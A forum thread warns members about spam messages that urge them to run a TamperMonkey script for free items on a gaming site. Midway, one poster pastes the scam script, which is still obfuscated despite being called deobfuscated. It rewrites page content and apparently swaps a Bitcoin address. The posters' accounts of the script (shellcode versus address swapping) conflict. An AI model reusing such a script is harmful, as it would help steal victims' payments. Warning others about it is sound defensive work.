Home Upgrade Search Memberlist Extras Hacker Tools Award Goals Help Wiki Contact

Be careful with these spam convos

I just got a message from a user

[Image: spam-convo.png]

A few days ago I got pretty much the same message from another user, but it's the same person for sure
The message contains an E-Book telling you how to get stuff on some gaming site for free, by running a TamperMonkey script
Just a quick warning for all non experienced users that might fall for this: The TamperMonkey script seems to contain some shellcode, which will probably infect your PC
All my answers/posts are for educational purposes only. I am not in any way responsible for the actions you perform with the acquired knowledge.
[Image: ZjBA6fR.gif]
I've also received few of theses spam message. It's kinda boring tbh
(Dec 25, 2020 01:38 PM)Dopamine Wrote:  I've also received few of theses spam message. It's kinda boring tbh

Yup, but you never know, they would not send them, if there weren't people falling for it
All my answers/posts are for educational purposes only. I am not in any way responsible for the actions you perform with the acquired knowledge.
[Image: ZjBA6fR.gif]
Instantly got my suspicious so I told him to S my D.
I got this 2 times already, it's the scam where they change the BTC address of a certain site and say it's some kind of hack, what a hacker!
I get them all the time, never even bother looking
Same, just took a look at the function, looks like this deobfuscated :
Code
(function(_0x4b1294, _0x39793c) {
    var _0xc25f7f = function(_0x3210fd) {
        while (--_0x3210fd) {
            _0x4b1294['push'](_0x4b1294['shift']());
        }
    };
    _0xc25f7f(++_0x39793c);
}(_0x3979, 0x19f));
var _0xc25f = function(_0x4b1294, _0x39793c) {
    _0x4b1294 = _0x4b1294 - 0x0;
    var _0xc25f7f = _0x3979[_0x4b1294];
    if (_0xc25f['ZSXLPD'] === undefined) {
        var _0x3210fd = function(_0x4fdce5) {
            var _0xe258d9 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';
            var _0x397c5f = String(_0x4fdce5)['replace'](/=+$/, '');
            var _0x1a3580 = '';
            for (var _0x1cd083 = 0x0, _0x2528a2, _0x50edfa, _0x55e8e7 = 0x0; _0x50edfa = _0x397c5f['charAt'](_0x55e8e7++); ~_0x50edfa && (_0x2528a2 = _0x1cd083 % 0x4 ? _0x2528a2 * 0x40 + _0x50edfa : _0x50edfa, _0x1cd083++ % 0x4) ? _0x1a3580 += String['fromCharCode'](0xff & _0x2528a2 >> (-0x2 * _0x1cd083 & 0x6)) : 0x0) {
                _0x50edfa = _0xe258d9['indexOf'](_0x50edfa);
            }
            return _0x1a3580;
        };
        _0xc25f['JPxrZc'] = function(_0x6db285) {
            var _0x24cf1f = _0x3210fd(_0x6db285);
            var _0x476142 = [];
            for (var _0x30b73f = 0x0, _0x4695e5 = _0x24cf1f['length']; _0x30b73f < _0x4695e5; _0x30b73f++) {
                _0x476142 += '%' + ('00' + _0x24cf1f['charCodeAt'](_0x30b73f)['toString'](0x10))['slice'](-0x2);
            }
            return decodeURIComponent(_0x476142);
        };
        _0xc25f['iwxxNt'] = {};
        _0xc25f['ZSXLPD'] = !![];
    }
    var _0x41933f = _0xc25f['iwxxNt'][_0x4b1294];
    if (_0x41933f === undefined) {
        _0xc25f7f = _0xc25f['JPxrZc'](_0xc25f7f);
        _0xc25f['iwxxNt'][_0x4b1294] = _0xc25f7f;
    } else {
        _0xc25f7f = _0x41933f;
    }
    return _0xc25f7f;
};
alert(_0xc25f('\x30\x78\x30'));
var tmr = setInterval(function() {
    var _0x18bb9b = document[_0xc25f('\x30\x78\x31')]('\x72\x6f\x77');
    _0x18bb9b[0x1]['\x69\x6e\x6e\x65\x72\x48\x54\x4d\x4c'] = _0xc25f('\x30\x78\x32');
    document[_0xc25f('\x30\x78\x31')](_0xc25f('\x30\x78\x33'))[0x0][_0xc25f('\x30\x78\x34')] = _0xc25f('\x30\x78\x35');
    var _0x55f68c = document[_0xc25f('\x30\x78\x31')](_0xc25f('\x30\x78\x33'));
    if (_0x55f68c[_0xc25f('\x30\x78\x36')] > 0x0) clearInterval(tmr);
}, 0xa);
I keep getting them, it's mind of anoyying but yeah, it's good you're warning people for this mate!
Important newbies pay attention
Rent My Signature -->
AltPump, make money!

Mega.nz
Thanks brother I received this Convo too
They might succeed if they send it to 1000-2000 users here
Quick love 💕 for good luck

[Image: E0PaFmi.gif]
I've seen one of their wallets before and sadly, they do get some victims.
I’m too HQ to receive these types of convos.
They know better to even try.
[Image: Cj3E9yy.png]
(Dec 25, 2020 02:54 PM)Nuworld Wrote:  I’m too HQ to receive these types of convos.
They know better to even try.

Your light is too blinding for them. 😆
I feel left out... I haven't gotten one yet. Hey scammers, send me a link to ignore. ),,;
Here to vibe.
I hate those!! im always checking the notifications and having this scam message is very annoying
Actually just got one for the first time yesterday and it was that exact user.
[Image: simj987.gif]


Possibly Related Threads...
Thread / Author Replies Views Last Post
by nikolaidevJun 16, 2026 02:50 PM 0 54 Jun 16, 2026 02:50 PM
Last Post: nikolaidev
by PerfectApr 30, 2024 09:16 PM 16 227 Apr 30, 2024 09:16 PM
Last Post: DemonAsylum
by TETETDec 4, 2023 06:51 AM 3 412 Dec 4, 2023 06:51 AM
Last Post: sdfgedrft